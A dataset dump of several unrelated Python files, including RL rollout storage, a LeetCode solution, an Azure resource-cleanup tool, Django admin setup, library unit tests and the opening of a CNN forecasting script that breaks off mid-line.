+{"seq_id":"515785148","text":"import torch\nfrom torch.utils.data.sampler import BatchSampler, SubsetRandomSampler\nimport random\nimport numpy as np\n\n\nclass Storage():\n\n def __init__(self, obs_shape, n_envs, num_steps, device):\n self.current_state_batch = torch.zeros(num_steps+1,n_envs,*obs_shape)\n self.reward_batch = torch.zeros(num_steps, n_envs)\n\n # Need to take care of the Non-Discrete action space case\n self.action_batch = torch.zeros(num_steps, n_envs)\n self.next_state_batch = torch.zeros(num_steps, n_envs,*obs_shape)\n self.done_batch = torch.zeros(num_steps, n_envs)\n #self.action_log_prob_batch = torch.zeros(num_steps)\n\n # 호준이형\n self.value_batch = torch.zeros(num_steps+1, n_envs)\n self.return_batch = torch.zeros(num_steps, n_envs)\n self.action_log_probs = torch.zeros(num_steps, n_envs)\n self.advantage_batch = torch.zeros(num_steps, n_envs)\n self.return_batch3 = torch.zeros(num_steps, n_envs)\n\n\n\n self.step = 0\n self.num_steps = num_steps\n self.device = device\n self.flag = 0\n self.num_envs = n_envs\n self.obs_shape = obs_shape\n\n def to(self, device):\n self.current_state_batch = self.current_state_batch.to(device)\n self.reward_batch = self.reward_batch.to(device)\n self.value_batch = self.value_batch.to(device)\n self.return_batch = self.return_batch.to(device)\n self.action_log_probs = self.action_log_probs.to(device)\n self.action_batch = self.action_batch.to(device)\n self.done_batch = self.done_batch.to(device)\n\n def store(self, current_state, action, reward, next_state, done, value):\n \"\"\"\n Store the given SARS transition objective\n :return:\n \"\"\"\n self.current_state_batch[self.step] = torch.from_numpy(current_state)\n self.action_batch[self.step] = torch.from_numpy(action)\n self.reward_batch[self.step] = torch.from_numpy(reward)\n self.next_state_batch[self.step] = torch.from_numpy(next_state)\n self.done_batch[self.step] = torch.tensor(done).clone().detach()\n\n # 호준이형\n self.value_batch[self.step] = torch.from_numpy(value)\n\n self.step = (self.step + 1) % self.num_steps\n\n\n def store_last(self, last_obs,last_value):\n self.current_state_batch[-1] = torch.from_numpy(last_obs)\n self.value_batch[-1] = torch.from_numpy(last_value)\n\n \"\"\"\n # 검증 완료!! 3번이나!!\n def GAE(self, gamma=0.99, lmbda = 0.95):\n\n delta = self.reward_batch + gamma * self.value_batch[1:] * (1-self.done_batch) - self.value_batch[:-1]\n delta = delta.numpy()\n done_batch = self.done_batch.numpy()\n gae = np.zeros((self.num_envs))\n targets = []\n for delta_t, done in zip(delta[::-1], done_batch[::-1]):\n gae = delta_t + gamma * lmbda * gae * (1-done)\n targets.append(gae)\n targets = targets[::-1]\n targets = np.array(targets)\n self.return_batch = torch.from_numpy(targets).type(torch.float32)\n self.return_batch = self.return_batch + self.value_batch[:-1]\n\n self.advantage_batch = self.return_batch - self.value_batch[:-1]\n self.advantage_batch = (self.advantage_batch - torch.mean(self.advantage_batch)) / (torch.std(self.advantage_batch) + 1e-5)\n \"\"\"\n\n def compute_estimates(self, gamma = 0.9, lmbda = 0.95, use_gae = True, normalize_adv = True):\n\n\n if use_gae == True:\n A = 0\n for i in reversed(range(self.num_steps)):\n rew = self.reward_batch[i]\n done = self.done_batch[i]\n value = self.value_batch[i]\n next_value = self.value_batch[i+1]\n\n delta = (rew + gamma * next_value * (1 - done)) - value\n A = gamma * lmbda * A * (1 - done) + delta\n self.return_batch[i] = A + value\n\n\n self.advantage_batch = self.return_batch - self.value_batch[:-1]\n if normalize_adv == True:\n self.advantage_batch = (self.advantage_batch - torch.mean(self.advantage_batch)) / (torch.std(self.advantage_batch) + 1e-5)\n\n def batch_generator(self):\n \"\"\"\n Random sampler.\n Must do : Prioritize experience replay\n :return:\n \"\"\"\n batch_size = self.num_steps * self.num_envs\n sampler = BatchSampler(SubsetRandomSampler(range(batch_size)), batch_size, drop_last = True)\n for indices in sampler:\n\n # Since the storage is currently in the form of [ Batch, env, *obs_shape ] ,\n # we need to reshape it so that is has the form of [Batch * env, -1]\n\n current_state_batch = torch.FloatTensor(self.current_state_batch).reshape(-1, *self.obs_shape)[indices].to(self.device)\n action_batch = self.action_batch.reshape(-1)[indices].to(self.device)\n reward_batch = torch.FloatTensor(self.reward_batch).reshape(-1)[indices].to(self.device)\n next_state_batch = torch.FloatTensor(self.next_state_batch).reshape(-1, *self.obs_shape)[indices].to(self.device)\n done_batch = self.done_batch.reshape(-1)[indices].to(self.device)\n return_batch = self.return_batch.reshape(-1)[indices].to(self.device)\n advantage_batch = self.advantage_batch.reshape(-1)[indices].to(self.device)\n\n yield current_state_batch, action_batch, reward_batch, next_state_batch, done_batch, return_batch, advantage_batch\n\n def random_batch(self):\n batch_size = self.num_steps * self.num_envs\n num_steps_list = [i for i in range(batch_size)]\n indices = random.sample(num_steps_list , batch_size)\n\n current_state_batch = torch.FloatTensor(self.current_state_batch).reshape(-1, *self.obs_shape)[indices].to(self.device)\n action_batch = self.action_batch.reshape(-1)[indices].to(self.device)\n reward_batch = torch.FloatTensor(self.reward_batch).reshape(-1)[indices].to(self.device)\n next_state_batch = torch.FloatTensor(self.next_state_batch).reshape(-1, *self.obs_shape)[indices].to(self.device)\n done_batch = self.done_batch.reshape(-1)[indices].to(self.device)\n return current_state_batch, action_batch, reward_batch, next_state_batch, done_batch\n\n def sample_episode(self):\n \"\"\"\n Samples a single episode\n This function will only be used in an episodic environment\n \"\"\"\n episode_length = self.step\n episode_list = torch.arange(episode_length, dtype = torch.int64, device = self.device)\n\n current_state_batch = torch.FloatTensor(self.current_state_batch)[episode_list].to(self.device)\n action_batch = torch.tensor(self.action_batch[episode_list], dtype = torch.int64).to(self.device)\n reward_batch = torch.FloatTensor(self.reward_batch)[episode_list].to(self.device)\n next_state_batch = torch.FloatTensor(self.next_state_batch)[episode_list].to(self.device)\n done_batch = self.done_batch[episode_list].to(self.device)\n #action_log_prob_batch = torch.tensor(self.action_log_prob_batch[episode_list]).to(self.device)\n\n self.step = 0\n\n return current_state_batch, action_batch, reward_batch, next_state_batch, done_batch\n\n def reward_done_batch(self):\n #return transposed shape to make each batch in the shape of [n_env, step]\n return self.reward_batch.T.numpy(), self.done_batch.T.numpy()\n\n\n\n def fetch_log_data(self):\n rew_batch = self.reward_batch.numpy()\n done_batch = self.done_batch.numpy()\n\n return rew_batch, done_batch","sub_path":"storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":7590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"24426809","text":"from typing import List\nfrom math import inf\n\n\nclass Solution:\n\n def minFallingPathSum(self, A: List[List[int]]) -> int:\n \"\"\"\n https://leetcode.com/problems/minimum-falling-path-sum/\n // Time Complexity : O(mn)\n 'm' the number of rows, 'n' is the number of cols\n // Space Complexity : O(1)\n We are manipulating the existing array\n // Did this code successfully run on Leetcode :\n Yes\n // Any problem you faced while coding this :\n Updated as per discussion in class\n // Your code here along with comments explaining your approach\n For each element we are two options if we are at\n the first and last column and three options if we\n are in between.\n \"\"\"\n # edge case\n if not A:\n return 0\n\n rows = len(A)\n cols = len(A[0])\n\n # ignoring 1st row because the\n # minimum at each cell is the best we can have\n for row in range(1, rows):\n for col in range(cols):\n # if we are at the first column\n if col == 0:\n A[row][col] += min(A[row - 1][col], A[row - 1][col + 1])\n # if we are at the last column\n elif col == cols - 1:\n A[row][col] += min(A[row - 1][col], A[row - 1][col - 1])\n # if we are some where in the middle\n else:\n A[row][col] += min(A[row - 1][col], A[row - 1][col - 1], A[row - 1][col + 1])\n # returnig minimum from the last row\n return min([A[rows - 1][col] for col in range(cols)])\n\n def minFallingPathSumBruteForce(self, A: List[List[int]]) -> int:\n \"\"\"\n // Time Complexity : O(3^nm)\n 'n' is the number of columns\n 'm' is the number of rows\n // Space Complexity : O(m) if stack space is considered\n else constant\n // Did this code successfully run on Leetcode :\n TLE\n \"\"\"\n # edge case\n if not A:\n return 0\n\n # making trees for each of the column in the first row\n return min([self._helper(A, 0, 0, col) for col in range(len(A[0]))])\n\n def _helper(self, A: List[List[int]], sum: int, row: int, col: int):\n\n # base case\n if row == len(A):\n return sum\n\n # logic\n case_1 = case_2 = case_3 = inf\n # case 1\n # we are at the first column\n if col == 0:\n case_1 = self._helper(A, sum + A[row][col], row + 1, col)\n case_2 = self._helper(A, sum + A[row][col], row + 1, col + 1)\n # case 2\n # we are at the last column\n elif col == len(A[0]) - 1:\n case_1 = self._helper(A, sum + A[row][col], row + 1, col)\n case_2 = self._helper(A, sum + A[row][col], row + 1, col - 1)\n # case 3\n # we are some where in between\n else:\n case_1 = self._helper(A, sum + A[row][col], row + 1, col)\n case_2 = self._helper(A, sum + A[row][col], row + 1, col + 1)\n case_3 = self._helper(A, sum + A[row][col], row + 1, col - 1)\n\n return min(case_1, case_2, case_3)\n\n\nif __name__ == '__main__':\n sol = Solution()\n print(sol.minFallingPathSumBruteForce(\n [[1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]]\n ))\n print(sol.minFallingPathSum(\n [[1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]]\n ))\n print(sol.minFallingPathSum(\n [[5, 7, 4],\n [1, 3, 6],\n [1, 3, 5]]))\n print(sol.minFallingPathSumBruteForce(\n [[5, 7, 4],\n [1, 3, 6],\n [1, 3, 5]]))\n print(sol.minFallingPathSum(\n [[-80, -13, 22],\n [83, 94, -5],\n [73, -48, 61]]))\n print(sol.minFallingPathSumBruteForce(\n [[-80, -13, 22],\n [83, 94, -5],\n [73, -48, 61]]))\n","sub_path":"931_minimum_falling_path_sum.py","file_name":"931_minimum_falling_path_sum.py","file_ext":"py","file_size_in_byte":4109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"477978149","text":"# coding=utf-8\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Subprocess command utilities.\"\"\"\n\nimport os\nimport subprocess\n\nimport tensorflow as tf\n\n\ndef _maybe_decode(raw):\n\n if isinstance(raw, str):\n return raw\n\n elif isinstance(raw, bytes):\n return raw.decode()\n\n return raw.encode('ascii', 'ignore').decode('ascii')\n\n\ndef run_and_output(command, cwd=None, env=None):\n \"\"\"Run a system command.\n\n Args:\n command (list): The command to run as a string array.\n cwd (str): The directory to set as the current working directory\n env (list): Variables to make available in environment of command\n\n Returns:\n str: A string storing the stdout produced by running the command.\n\n Raises:\n CalledProcessError: If the command run exits with a system error.\n\n \"\"\"\n\n tf.logging.info(\"Running: %s \\ncwd=%s\", \" \".join(command), cwd)\n\n if not env:\n\n env = os.environ\n\n try:\n\n output = subprocess.check_output(command,\n cwd=cwd,\n env=env,\n stderr=subprocess.STDOUT).decode(\"utf-8\")\n\n output = _maybe_decode(output)\n\n tf.logging.info(\"\\n=======\\nSubprocess output:%s\\n=====\" % output)\n\n except subprocess.CalledProcessError as e:\n\n output = _maybe_decode(e.output)\n\n tf.logging.info(\n \"\\n=======\\nCommand failed, subprocess output:\\n%s\\n=======\", output)\n\n raise\n\n return output\n","sub_path":"clarify/utils/cmd_utils.py","file_name":"cmd_utils.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"594847487","text":"from .provider import Provider, Image\nfrom ..lib.vault import AzureCredential\nfrom azure.common.credentials import ServicePrincipalCredentials\nfrom azure.mgmt.resource import ResourceManagementClient\nfrom azure.mgmt.compute import ComputeManagementClient\nfrom azure.mgmt.storage import StorageManagementClient\nfrom azure.storage.blob import BlobServiceClient\nfrom msrest.exceptions import AuthenticationError\nimport re\nimport time\nfrom typing import Dict\n\n\n\nclass Azure(Provider):\n __instances: Dict[str, \"Azure\"] = dict()\n\n def __init__(self, namespace: str):\n super().__init__(namespace)\n self.__resource_group = self.cfgGet('cleanup', 'azure-storage-resourcegroup')\n self.check_credentials()\n\n def __new__(cls, vault_namespace):\n if vault_namespace not in Azure.__instances:\n Azure.__instances[vault_namespace] = self = object.__new__(cls)\n self.__credentials = AzureCredential(vault_namespace)\n self.__compute_mgmt_client = None\n self.__sp_credentials = None\n self.__resource_mgmt_client = None\n self.__blob_service_client = None\n return Azure.__instances[vault_namespace]\n\n def subscription(self):\n return self.__credentials.getData('subscription_id')\n\n def check_credentials(self):\n if self.__credentials.isExpired():\n self.renew()\n return self.__check_credentials()\n\n try:\n return self.__check_credentials()\n except AuthenticationError:\n self.renew()\n\n return self.__check_credentials()\n\n def __check_credentials(self):\n for i in range(1, 40):\n try:\n self.list_resource_groups()\n return True\n except AuthenticationError:\n self.log_info(\"Check credentials failed (attemp:{}) - client_id {} should expire at {}\", i,\n self.__credentials.getData('client_id'), self.__credentials.getAuthExpire())\n time.sleep(1)\n raise AuthenticationError(\"Invalid Azure credentials\")\n\n def renew(self):\n self.__compute_mgmt_client = None\n self.__sp_credentials = None\n self.__resource_mgmt_client = None\n self.__blob_service_client = None\n self.log_info(\"Renew credentials - current client_id {} should expire at {}\",\n self.__credentials.getData('client_id'), self.__credentials.getAuthExpire())\n self.__credentials.renew()\n\n def bs_client(self):\n if(self.__blob_service_client is None):\n storage_account = self.cfgGet('cleanup', 'azure-storage-account-name')\n storage_key = self.get_storage_key(storage_account)\n connection_string = \"{};AccountName={};AccountKey={};EndpointSuffix=core.windows.net\".format(\n \"DefaultEndpointsProtocol=https\", storage_account, storage_key)\n self.__blob_service_client = BlobServiceClient.from_connection_string(connection_string)\n return self.__blob_service_client\n\n def container_client(self, container_name):\n return self.bs_client().get_container_client(container_name)\n\n def sp_credentials(self):\n if (self.__sp_credentials is None):\n self.__sp_credentials = ServicePrincipalCredentials(client_id=self.__credentials.getData('client_id'),\n secret=self.__credentials.getData('client_secret'),\n tenant=self.__credentials.getData('tenant_id')\n )\n return self.__sp_credentials\n\n def compute_mgmt_client(self):\n if (self.__compute_mgmt_client is None):\n self.__compute_mgmt_client = ComputeManagementClient(\n self.sp_credentials(), self.subscription())\n return self.__compute_mgmt_client\n\n def resource_mgmt_client(self):\n if (self.__resource_mgmt_client is None):\n self.__resoure_mgmt_client = ResourceManagementClient(\n self.sp_credentials(), self.subscription())\n return self.__resoure_mgmt_client\n\n def get_storage_key(self, storage_account):\n storage_client = StorageManagementClient(self.sp_credentials(), self.subscription())\n storage_keys = storage_client.storage_accounts.list_keys(self.__resource_group, storage_account)\n storage_keys = [v.value for v in storage_keys.keys]\n return storage_keys[0]\n\n def list_instances(self):\n return [i for i in self.compute_mgmt_client().virtual_machines.list_all()]\n\n def list_resource_groups(self):\n return [r for r in self.resource_mgmt_client().resource_groups.list()]\n\n def delete_resource(self, resource_id):\n if self.dry_run:\n self.log_info(\"Deletion of resource group {} skipped due to dry run mode\", resource_id)\n else:\n self.resource_mgmt_client().resource_groups.delete(resource_id)\n\n def list_images_by_resource_group(self, resource_group):\n return self.list_by_resource_group(resource_group,\n filters=\"resourceType eq 'Microsoft.Compute/images'\")\n\n def list_disks_by_resource_group(self, resource_group):\n return self.list_by_resource_group(resource_group,\n filters=\"resourceType eq 'Microsoft.Compute/disks'\")\n\n def list_by_resource_group(self, resource_group, filters=None):\n return [item for item in self.resource_mgmt_client().resources.list_by_resource_group(\n resource_group, filter=filters)]\n\n def get_keeping_image_names(self):\n images = list()\n for item in self.container_client('sle-images').list_blobs():\n m = self.parse_image_name(item.name)\n if m:\n images.append(Image(item.name, flavor=m['key'], build=m['build'], date=item.last_modified))\n else:\n self.log_err(\"Unable to parse image name '{}'\", item.name)\n\n return super().get_keeping_image_names(images)\n\n def cleanup_all(self):\n ''' Cleanup all autodateed data which might created during automated tests.'''\n self.cleanup_bootdiagnostics()\n\n keep_images = self.get_keeping_image_names()\n self.cleanup_sle_images_container(keep_images)\n self.cleanup_disks_from_rg(keep_images)\n self.cleanup_images_from_rg(keep_images)\n for i in keep_images:\n self.log_info(\"Keep image {} \", i)\n\n def cleanup_bootdiagnostics(self):\n containers = self.bs_client().list_containers()\n for c in containers:\n self.log_dbg('Found container {}', c.name)\n if (re.match('^bootdiagnostics-', c.name)):\n self.cleanup_bootdiagnostics_container(c)\n\n def cleanup_bootdiagnostics_container(self, container):\n latest_modification = container.last_modified\n container_blobs = self.container_client(container.name).list_blobs()\n for blob in container_blobs:\n if (latest_modification > blob.last_modified):\n latest_modification = blob.last_modified\n if (self.older_than_min_age(latest_modification)):\n self.log_info(\"Mark container for deletion {}\", container.name)\n if self.dry_run:\n self.log_info(\"Deletion of boot diagnostic container {} skipped due to dry run mode\", container.name)\n else:\n self.bs_client().delete_container(container.name)\n\n def parse_image_name(self, img_name):\n regexes = [\n # SLES12-SP5-Azure.x86_64-0.9.1-SAP-BYOS-Build3.3.vhd\n re.compile(r\"\"\"\n SLES\n (?P\\d+(-SP\\d+)?)\n -Azure\\.\n (?P[^-]+)\n -\n (?P\\d+\\.\\d+\\.\\d+)\n -\n (?P[-\\w]+)\n -\n Build(?P\\d+\\.\\d+)\n \\.vhd\n \"\"\",\n re.X),\n\n # SLES15-SP2-BYOS.x86_64-0.9.3-Azure-Build1.10.vhd\n # SLES15-SP2.x86_64-0.9.3-Azure-Basic-Build1.11.vhd\n # SLES15-SP2-SAP-BYOS.x86_64-0.9.2-Azure-Build1.9.vhd\n re.compile(r\"\"\"\n SLES\n (?P\\d+(-SP\\d+)?)\n (-(?P[^\\.]+))?\\.\n (?P[^-]+)\n -\n (?P\\d+\\.\\d+\\.\\d+)\n (-(?PAzure[-\\w]*))?\n -\n Build(?P\\d+\\.\\d+)\n \\.vhd\n \"\"\",\n re.X)\n ]\n return self.parse_image_name_helper(img_name, regexes)\n\n def cleanup_sle_images_container(self, keep_images):\n container_client = self.container_client('sle-images')\n for img in container_client.list_blobs():\n m = self.parse_image_name(img.name)\n if m:\n self.log_dbg('Blob {} is candidate for deletion with build {} ', img.name, m['build'])\n\n if img.name not in keep_images:\n self.log_info(\"Delete blob '{}'\", img.name)\n if self.dry_run:\n self.log_info(\"Deletion of blob image {} skipped due to dry run mode\", img.name)\n else:\n container_client.delete_blob(img.name, delete_snapshots=\"include\")\n\n def cleanup_images_from_rg(self, keep_images):\n for item in self.list_images_by_resource_group(self.__resource_group):\n m = self.parse_image_name(item.name)\n if m:\n self.log_dbg('Image {} is candidate for deletion with build {} ', item.name, m['build'])\n if item.name not in keep_images:\n self.log_info(\"Delete image '{}'\", item.name)\n if self.dry_run:\n self.log_info(\"Deletion of image {} skipped due to dry run mode\", item.name)\n else:\n self.compute_mgmt_client().images.delete(self.__resource_group, item.name)\n\n def cleanup_disks_from_rg(self, keep_images):\n for item in self.list_disks_by_resource_group(self.__resource_group):\n m = self.parse_image_name(item.name)\n if m:\n self.log_dbg('Disk {} is candidate for deletion with build {} ', item.name, m['build'])\n\n if item.name not in keep_images:\n if self.compute_mgmt_client().disks.get(self.__resource_group, item.name).managed_by:\n self.log_warn(\"Disk is in use - unable delete {}\", item.name)\n else:\n self.log_info(\"Delete disk '{}'\", item.name)\n if self.dry_run:\n self.log_info(\"Deletion of image {} skipped due to dry run mode\", item.name)\n else:\n self.compute_mgmt_client().disks.delete(self.__resource_group, item.name)\n","sub_path":"ocw/lib/azure.py","file_name":"azure.py","file_ext":"py","file_size_in_byte":11218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"102107679","text":"# apps/users/admin.py\n\n# Django modules\nfrom django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\n\n# Locals\nfrom apps.users.models import MyCustomUser\n\n# Register your models here.\n\n@admin.register(MyCustomUser) # <-- it equal to '@admin.register(models.MyCustomUser)'\n# class MyCustomUserAdmin(admin.ModelAdmin):\n\n# \"\"\" Custom User Admin \"\"\"\n\n# list_display = (\"username\", \"email\", \"gender\", \"language\", \"currency\", \"superhost\")\n# list_filter = (\"language\", \"currency\", \"superhost\")\n\nclass MyCustomUserAdmin(UserAdmin):\n\n \"\"\" Custom User Admin \"\"\"\n fieldsets = UserAdmin.fieldsets + (\n (\n \"Custom Profile\",\n {\n \"fields\": (\n \"avatar\",\n \"gender\",\n \"bio\",\n \"birthdate\",\n \"language\",\n \"currency\",\n \"superhost\",\n )\n },\n ),\n )\n","sub_path":"apps/users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"260308479","text":"from __future__ import division, with_statement\nfrom __future__ import absolute_import\n\nimport pytest\nimport sys\n\n\n@pytest.mark.skipif(\"sys.version_info < (2, 5)\")\ndef test_memoize_method_clear():\n from pytools import memoize_method\n\n class SomeClass:\n def __init__(self):\n self.run_count = 0\n\n @memoize_method\n def f(self):\n self.run_count += 1\n return 17\n\n sc = SomeClass()\n sc.f()\n sc.f()\n assert sc.run_count == 1\n\n sc.f.clear_cache(sc)\n\n\ndef test_memoize_method_with_uncached():\n from pytools import memoize_method_with_uncached\n\n class SomeClass:\n def __init__(self):\n self.run_count = 0\n\n @memoize_method_with_uncached(uncached_args=[1], uncached_kwargs=[\"z\"])\n def f(self, x, y, z):\n self.run_count += 1\n return 17\n\n sc = SomeClass()\n sc.f(17, 18, z=19)\n sc.f(17, 19, z=20)\n assert sc.run_count == 1\n sc.f(18, 19, z=20)\n assert sc.run_count == 2\n\n sc.f.clear_cache(sc)\n\n\ndef test_memoize_method_nested():\n from pytools import memoize_method_nested\n\n class SomeClass:\n def __init__(self):\n self.run_count = 0\n\n def f(self):\n\n @memoize_method_nested\n def inner(x):\n self.run_count += 1\n return 2*x\n\n inner(5)\n inner(5)\n\n sc = SomeClass()\n sc.f()\n assert sc.run_count == 1\n\n\ndef test_p_convergence_verifier():\n pytest.importorskip(\"numpy\")\n\n from pytools.convergence import PConvergenceVerifier\n\n pconv_verifier = PConvergenceVerifier()\n for order in [2, 3, 4, 5]:\n pconv_verifier.add_data_point(order, 0.1**order)\n pconv_verifier()\n\n pconv_verifier = PConvergenceVerifier()\n for order in [2, 3, 4, 5]:\n pconv_verifier.add_data_point(order, 0.5**order)\n pconv_verifier()\n\n pconv_verifier = PConvergenceVerifier()\n for order in [2, 3, 4, 5]:\n pconv_verifier.add_data_point(order, 2)\n with pytest.raises(AssertionError):\n pconv_verifier()\n\n\ndef test_memoize():\n from pytools import memoize\n count = [0]\n\n @memoize(use_kwargs=True)\n def f(i, j=1):\n count[0] += 1\n return i + j\n\n assert f(1) == 2\n assert f(1, 2) == 3\n assert f(2, j=3) == 5\n assert count[0] == 3\n assert f(1) == 2\n assert f(1, 2) == 3\n assert f(2, j=3) == 5\n assert count[0] == 3\n\n\ndef test_memoize_keyfunc():\n from pytools import memoize\n count = [0]\n\n @memoize(key=lambda i, j=(1,): (i, len(j)))\n def f(i, j=(1,)):\n count[0] += 1\n return i + len(j)\n\n assert f(1) == 2\n assert f(1, [2]) == 2\n assert f(2, j=[2, 3]) == 4\n assert count[0] == 2\n assert f(1) == 2\n assert f(1, (2,)) == 2\n assert f(2, j=(2, 3)) == 4\n assert count[0] == 2\n\n\n@pytest.mark.parametrize(\"dims\", [2, 3])\ndef test_spatial_btree(dims, do_plot=False):\n pytest.importorskip(\"numpy\")\n import numpy as np\n nparticles = 2000\n x = -1 + 2*np.random.rand(dims, nparticles)\n x = np.sign(x)*np.abs(x)**1.9\n x = (1.4 + x) % 2 - 1\n\n bl = np.min(x, axis=-1)\n tr = np.max(x, axis=-1)\n print(bl, tr)\n\n from pytools.spatial_btree import SpatialBinaryTreeBucket\n tree = SpatialBinaryTreeBucket(bl, tr, max_elements_per_box=10)\n for i in range(nparticles):\n tree.insert(i, (x[:, i], x[:, i]))\n\n if do_plot:\n import matplotlib.pyplot as pt\n pt.gca().set_aspect(\"equal\")\n pt.plot(x[0], x[1], \"x\")\n tree.plot(fill=None)\n pt.show()\n\n\ndef test_diskdict():\n if sys.platform.startswith(\"win\"):\n pytest.xfail(\"unreliable on windows\")\n\n from pytools.diskdict import DiskDict\n\n from tempfile import NamedTemporaryFile\n\n with NamedTemporaryFile() as ntf:\n d = DiskDict(ntf.name)\n\n key_val = [\n ((), \"hi\"),\n (frozenset([1, 2, \"hi\"]), 5)\n ]\n\n for k, v in key_val:\n d[k] = v\n for k, v in key_val:\n assert d[k] == v\n del d\n\n d = DiskDict(ntf.name)\n for k, v in key_val:\n del d[k]\n del d\n\n d = DiskDict(ntf.name)\n for k, v in key_val:\n d[k] = v\n del d\n\n d = DiskDict(ntf.name)\n for k, v in key_val:\n assert k in d\n assert d[k] == v\n del d\n\n\ndef test_generate_numbered_unique_names():\n from pytools import generate_numbered_unique_names\n\n gen = generate_numbered_unique_names(\"a\")\n assert next(gen) == (0, \"a\")\n assert next(gen) == (1, \"a_0\")\n\n gen = generate_numbered_unique_names(\"b\", 6)\n assert next(gen) == (7, \"b_6\")\n\n\ndef test_find_module_git_revision():\n import pytools\n print(pytools.find_module_git_revision(pytools.__file__, n_levels_up=1))\n\n\ndef test_reshaped_view():\n import pytools\n import numpy as np\n\n a = np.zeros((10, 2))\n b = a.T\n c = pytools.reshaped_view(a, -1)\n assert c.shape == (20,)\n with pytest.raises(AttributeError):\n pytools.reshaped_view(b, -1)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n exec(sys.argv[1])\n else:\n from pytest import main\n main([__file__])\n","sub_path":"test/test_pytools.py","file_name":"test_pytools.py","file_ext":"py","file_size_in_byte":5207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"424631453","text":"from pylastica.document import Document\nfrom pylastica.filter.boolnot import BoolNot\nfrom pylastica.filter.indices import Indices\nfrom pylastica.filter.term import Term\nfrom pylastica.query.query import Query\nfrom tests.base import Base\n\n__author__ = 'Joe Linn'\n\nimport unittest\n\n\nclass IndicesTest(unittest.TestCase, Base):\n def setUp(self):\n super(IndicesTest, self).setUp()\n self._index1 = self._create_index(\"indices_filter_1\")\n self._index2 = self._create_index(\"indices_filter_2\")\n self._index1.add_alias(\"indices_filter\")\n self._index2.add_alias(\"indices_filter\")\n docs = [\n Document(\"1\", {\"color\": \"blue\"}),\n Document(\"2\", {\"color\": \"green\"}),\n Document(\"3\", {\"color\": \"blue\"}),\n Document(\"4\", {\"color\": \"yellow\"}),\n ]\n self._index1.get_doc_type(\"test\").add_documents(docs)\n self._index2.get_doc_type(\"test\").add_documents(docs)\n self._index1.refresh()\n self._index2.refresh()\n\n def tearDown(self):\n self._index1.delete()\n self._index2.delete()\n super(IndicesTest, self).tearDown()\n\n def test_indices_filter(self):\n indices_filter = Indices(BoolNot(Term(\"color\", \"blue\")), [self._index1.name])\n indices_filter.set_no_match_filter(BoolNot(Term(\"color\", \"yellow\")))\n query = Query().set_filter(indices_filter)\n\n # search over the alias\n index = self._get_client().get_index(\"indices_filter\")\n results = index.search(query)\n\n # ensure that the proper docs have been filtered out for each index\n self.assertEqual(5, len(results))\n for result in results.results:\n data = result.data\n color = data['color']\n if result.get_index() == self._index1.name:\n self.assertNotEqual(\"blue\", color)\n else:\n self.assertNotEqual(\"yellow\", color)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/filter/test_indices.py","file_name":"test_indices.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"381161945","text":"\n\"\"\"\nCNN Test Lead Annual\n\ntesting different lead times for a specified CNN architecture\n\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nfrom tqdm import tqdm\nimport torch\nfrom torch import nn\nimport torch.optim as optim\nimport torchvision.models as models\nimport os\nimport copy\nfrom torch.utils.data import DataLoader, TensorDataset\n\n# -------------\n#%% User Edits\n# -------------\n\n# Indicate machine to set path\nmachine='stormtrack'\n\n# Set directory and load data depending on machine\nif machine == 'local-glenn':\n os.chdir('/Users/gliu/Downloads/2020_Fall/6.862/Project/predict_amv/CNN/')\n outpath = '/Users/gliu/Downloads/2020_Fall/6.862/Project/'\n\nelse:\n outpath = os.getcwd()\n \n# Data preparation settings\nleads = np.arange(0,25,1) # Time ahead (in years) to forecast AMV\nresolution = '2deg' # Resolution of input (2deg or full)\nseason = 'Ann' # Season to take mean over\nindexregion = 'NAT' # One of the following (\"SPG\",\"STG\",\"TRO\",\"NAT\")\n\n# Training/Testing Subsets\npercent_train = 0.8 # Percentage of data to use for training (remaining for testing)\nens = 40 # Ensemble members to use\n\n# Model training settings\nearly_stop = 3 # Number of epochs where validation loss increases before stopping\nmax_epochs = 10 # Maximum number of epochs\nbatch_size = 32 # Pairs of predictions\nloss_fn = nn.MSELoss() # Loss Function\nopt = ['Adadelta',0.1,0] # Name optimizer\nnetname = 'FNN2' # See Choices under Network Settings below for strings that can be used\n\n# Network Settings\nif netname == 'CNN1':\n nchannels = [32] # Number of out_channels for the first convolution\n filtersizes = [[5,5]] # kernel size for first ConvLayer\n filterstrides = [[1,1]]\n poolsizes = [[5,5]] # kernel size for first pooling layer\n poolstrides = [[5,5]]\nelif netname == 'CNN2':\n # 2 layer CNN settings \n nchannels = [32,64]\n filtersizes = [[2,3],[3,3]]\n filterstrides = [[1,1],[1,1]]\n poolsizes = [[2,3],[2,3]]\n poolstrides = [[2,3],[2,3]]\nelif netname == 'RN18': # ResNet18\n #resnet = models.resnet18(pretrained=True)\n inpadding = [95,67]\nelif netname == 'RN50': # ResNet50\n inpadding = [95,67]\n #resnet = models.resnet50(pretrained=True)\nelif netname == 'FNN2': # 2-layer Fully Connected NN\n nlayers = 2\n nunits = 